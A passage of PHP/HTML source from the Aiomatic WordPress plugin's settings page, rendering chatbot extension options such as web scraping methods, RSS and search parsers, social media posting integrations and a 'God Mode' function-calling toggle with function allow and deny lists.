echo esc_html__("'Website Scraper' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_scraper" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_scraper]"<?php if ($god_mode_enable_scraper == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_scraper"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the method to be used for scraping.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Scraping Method:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="scrape_method" name="aiomatic_Chatbot_Settings[scrape_method]" class="cr_width_full"> <option value="0" <?php if($scrape_method == '0'){echo ' selected';}?>><?php echo esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1" <?php if($scrape_method == '1'){echo ' selected';}?>><?php echo esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2" <?php if($scrape_method == '2'){echo ' selected';}?>><?php echo esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3" <?php if($scrape_method == '3'){echo ' selected';}?>><?php echo esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="4" <?php if($scrape_method == '4'){echo ' selected';}?>><?php echo esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="5" <?php if($scrape_method == '5'){echo ' selected';}?>><?php echo esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="6" <?php if($scrape_method == '6'){echo ' selected';}?>><?php echo esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hide_scraper"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to remove all HTML tags from the scraped content and leave only the plain textual content in it.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip All HTML Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="strip_tags" name="aiomatic_Chatbot_Settings[strip_tags]"<?php if ($strip_tags == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_scraper"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of characters to keep from the scraped data.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum # Of Characters To Keep:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="1" id="max_chars" name="aiomatic_Chatbot_Settings[max_chars]" class="cr_width_full" value="<?php echo esc_html($max_chars);?>" placeholder="# Of Characters To Keep"> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'RSS Feed Parser' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'RSS Feed Parser' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_rss" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_rss]"<?php if ($god_mode_enable_rss == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_rss"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of items from the RSS feed to process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum # Of Items To Process:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="1" id="max_rss_items" name="aiomatic_Chatbot_Settings[max_rss_items]" class="cr_width_full" value="<?php echo esc_html($max_rss_items);?>" placeholder="# Of RSS items to process"> </div> </td></tr> <tr class="hide_rss"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the template of the resulting string, which will be built after parsing the RSS feed. You can use the following shortcodes, which will map to the values of each RSS feed item: %%item_counter%%, %%item_title%%, %%item_content%%, %%item_description%%, %%item_url%%, %%item_author%%, %%item_categories%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Results Template:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[rss_template]" placeholder='Set the RSS item template sent to the AI'><?php echo esc_textarea($rss_template); ?></textarea> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'RSS Feed Parser' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Google SERP Parser' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_google" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_google]"<?php if ($god_mode_enable_google == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_google"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of items from the Google SERP to process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum # Of Items To Process:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="1" id="max_google_items" name="aiomatic_Chatbot_Settings[max_google_items]" class="cr_width_full" value="<?php echo esc_html($max_google_items);?>" placeholder="# Of RSS items to process"> </div> </td></tr> <tr class="hide_google"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the template of the resulting string, which will be built after parsing the search results. You can use the following shortcodes, which will map to the values of each search results item: %%item_counter%%, %%item_title%%, %%item_snippet%%, %%item_url%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Results Template:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[google_template]" placeholder='Set the Google SERP item template sent to the AI'><?php echo esc_textarea($google_template); ?></textarea> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'YouTube Video Captions' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'YouTube Video Captions' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_youtube_captions" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_youtube_captions]"<?php if ($god_mode_enable_youtube_captions == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_caption"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum length in characters of the resulting string. If the captions are longer than this value, they will shortened.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Caption Length (Characters):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="1" id="max_caption_length" name="aiomatic_Chatbot_Settings[max_caption_length]" class="cr_width_full" value="<?php echo esc_html($max_caption_length);?>" placeholder="Maximum number of caption characters"> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Royalty Free Image Search' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Royalty Free Image Search' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_royalty" name="aiomatic_Chatbot_Settings[god_mode_enable_royalty]"<?php if ($god_mode_enable_royalty == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'YouTube Video Search' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'YouTube Video Search' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_youtube" name="aiomatic_Chatbot_Settings[god_mode_enable_youtube]"<?php if ($god_mode_enable_youtube == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Email Sending' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Email Sending' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_email" name="aiomatic_Chatbot_Settings[god_mode_enable_email]"<?php if ($god_mode_enable_email == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Webhook Calling' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Webhook Calling' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_webhook" name="aiomatic_Chatbot_Settings[god_mode_enable_webhook]"<?php if ($god_mode_enable_webhook == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable WordPress function calling extension (God Mode) for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'God Mode' Extension (WordPress Function Calling) - BETA:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_wp" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_wp]"<?php if ($god_mode_enable_wp == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_god"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a list of functions which will not be allowed to be executed by the chatbot (a function on each line).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Blacklisted WordPress Functions:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <textarea rows="2" name="aiomatic_Chatbot_Settings[god_blacklisted_functions]" placeholder='List of blacklisted functions for chatbot god mode'><?php echo esc_textarea($god_blacklisted_functions); ?></textarea> </td></tr> <tr class="hide_god"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a list of functions which will be allowed to be executed by the chatbot (a function on each line). If you set a list of functions here, any other function which does not appear on the list will not be allowed to be executed by the god mode chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Whitelisted WordPress Functions:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <textarea rows="2" name="aiomatic_Chatbot_Settings[god_whitelisted_functions]" placeholder='List of whitelisted functions for chatbot god mode'><?php echo esc_textarea($god_whitelisted_functions); ?></textarea> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Facebook Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Facebook Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" onchange="extensionsChanged();" id="god_mode_enable_facebook_post" <?php $no_fb = false; if (!is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php')) { $no_fb = true; } if($no_fb == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_facebook_post]"<?php if ($god_mode_enable_facebook_post == 'on') echo ' checked '; ?>> <?php if($no_fb == true) { echo esc_html__("This option requires the F-omatic Automatic Post Generator and Social Network Auto Poster plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/fbomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr class="hide_facebook"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the page associated with your App ID, where you want to publish your posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Page Where To Publish Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $output = '<select id="facebook_post_select" name="aiomatic_Chatbot_Settings[facebook_post_select]" >'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } $output .= '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $facebook_post_select) { $output .= " selected"; } $output .= '>' . esc_html($exploding[2]) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; echo $output; ?> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Twitter (X) Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Twitter (X) Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_twitter_post" <?php $no_tw = false; if (!is_plugin_active('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_twitter_post]"<?php if ($god_mode_enable_twitter_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the Twitomatic Automatic Post Generator and Twitter Auto Poster Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/twitomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Instagram Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Instagram Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_instagram_post" <?php $no_tw = false; if (!is_plugin_active('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_instagram_post]"<?php if ($god_mode_enable_instagram_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the iMediamatic Automatic Post Generator and Instagram Auto Poster Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/instamatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Pinterest Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Pinterest Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" onchange="extensionsChanged();" id="god_mode_enable_pinterest_post" <?php $no_tw = false; if (!is_plugin_active('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_pinterest_post]"<?php if ($god_mode_enable_pinterest_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the Pinterestomatic Automatic Post Generator and Pinterest Auto Poster Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/pinterestomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr class="hide_pinterest"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the board associated with your account, where you want to publish your pins.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Boards Where To Publish Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $output = '<select id="pinterest_post_select" name="aiomatic_Chatbot_Settings[pinterest_post_select]" >'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { if($boards != '' && is_array($boards)) { foreach($boards as $id => $name) { $output .= '<option value="' . esc_attr($id) . '"'; if ($pinterest_post_select == $id) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; echo $output; ?> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Google My Business Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Google My Business Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" onchange="extensionsChanged();" id="god_mode_enable_google_post" <?php $no_tw = false; if (!is_plugin_active('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_google_post]"<?php if ($god_mode_enable_google_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the Businessomatic Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/businessomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr class="hide_gmb"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the page associated with your account, where you want to publish your posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Pages Where To Publish Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="business_post_select" name="aiomatic_Chatbot_Settings[business_post_select]" > <?php $store = get_option('businessomatic_my_business_list', false); if($store !== FALSE) { foreach ($store as $index => $val) { ?> <option value="<?php echo esc_html($index);?>" <?php if($index == $business_post_select) echo " selected" ?>> <?php echo esc_html($val); ?> </option> <?php } } ?> </select> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'YouTube Community Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'YouTube Community Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_youtube_post" <?php $no_tw = false; if (!is_plugin_active('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_youtube_post]"<?php if ($god_mode_enable_youtube_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the Youtubomatic Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/youtubomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Reddit Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Reddit Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" onchange="extensionsChanged();" id="god_mode_enable_reddit_post" <?php $no_tw = false; if (!is_plugin_active('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_reddit_post]"<?php if ($god_mode_enable_reddit_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the Redditomatic Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/redditomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr class="hide_reddit"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a list of comma separated subreddit names where you want to automatically post your new post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Subreddits Where To Post:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea name="aiomatic_Chatbot_Settings[subreddits_list]" placeholder="Please insert a subreddit"><?php echo esc_textarea($subreddits_list); ?></textarea> </div> </td> </tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'LinkedIn Posting' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'LinkedIn Posting' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" onchange="extensionsChanged();" id="god_mode_enable_linkedin_post" <?php $no_tw = false; if (!is_plugin_active('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php')) { $no_tw = true; } if($no_tw == true) { echo ' disabled'; } ?> name="aiomatic_Chatbot_Settings[god_mode_enable_linkedin_post]"<?php if ($god_mode_enable_linkedin_post == 'on') echo ' checked '; ?>> <?php if($no_tw == true) { echo esc_html__("This option requires the Linkedinomatic Plugin for WordPress plugin to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://1.envato.market/linkedinomatic" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } ?> </div> </td></tr> <tr class="hide_linkedin"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the pages associated with your App ID, where you want to publish your posts. To select multiple entries, please hold down the 'Control' key.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("LinkedIn Page Where to Publish Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select name="aiomatic_Chatbot_Settings[linkedin_selected_pages]" id="PagesSelect" class="cr_auto"> <?php $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { if(count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { echo '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $linkedin_selected_pages) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } else { echo '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $linkedin_selected_pages) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } } } } ?> </select> </td> </tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Chatbot Extensions Activation Settings:", 'aiomatic-automatic-ai-content-writer');?></h3> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable Chatbot Extensions in the chatbot preview from below. This will apply only if regular AI models are used (not AI Assistants - for these, the Chatbot Extensions needs to be enabled from Assistant editing menu). Also, Chatbot Extensions will work only for logged in administrator privileged users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Extensions In The Chabot Preview From Below:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_preview" name="aiomatic_Chatbot_Settings[god_preview]"<?php if ($god_preview == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable Chatbot Extensions in the globally injected chatbot, on the entire front end and/or back end of your site. This will apply only if regular AI models are used (not AI Assistants - for these, the Chatbot Extensions needs to be enabled from Assistant editing menu). Also, Chatbot Extensions will work only for logged in administrator privileged users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Extensions In The Globally Injected Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="god_mode_front_end" name="aiomatic_Chatbot_Settings[god_mode_front_end]" > <?php echo '<option' . ($god_mode_front_end == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($god_mode_front_end == 'front' ? ' selected': '') . ' value="front">Front End</option>'; echo '<option' . ($god_mode_front_end == 'back' ? ' selected': '') . ' value="back">Back End</option>'; echo '<option' . ($god_mode_front_end == 'both' ? ' selected': '') . ' value="both">Front End & Back End</option>'; ?> </select> </div> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/6RQn-v9tlek" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> </table> </div> <div id="tab-11" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Chatbot Limitations:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.", 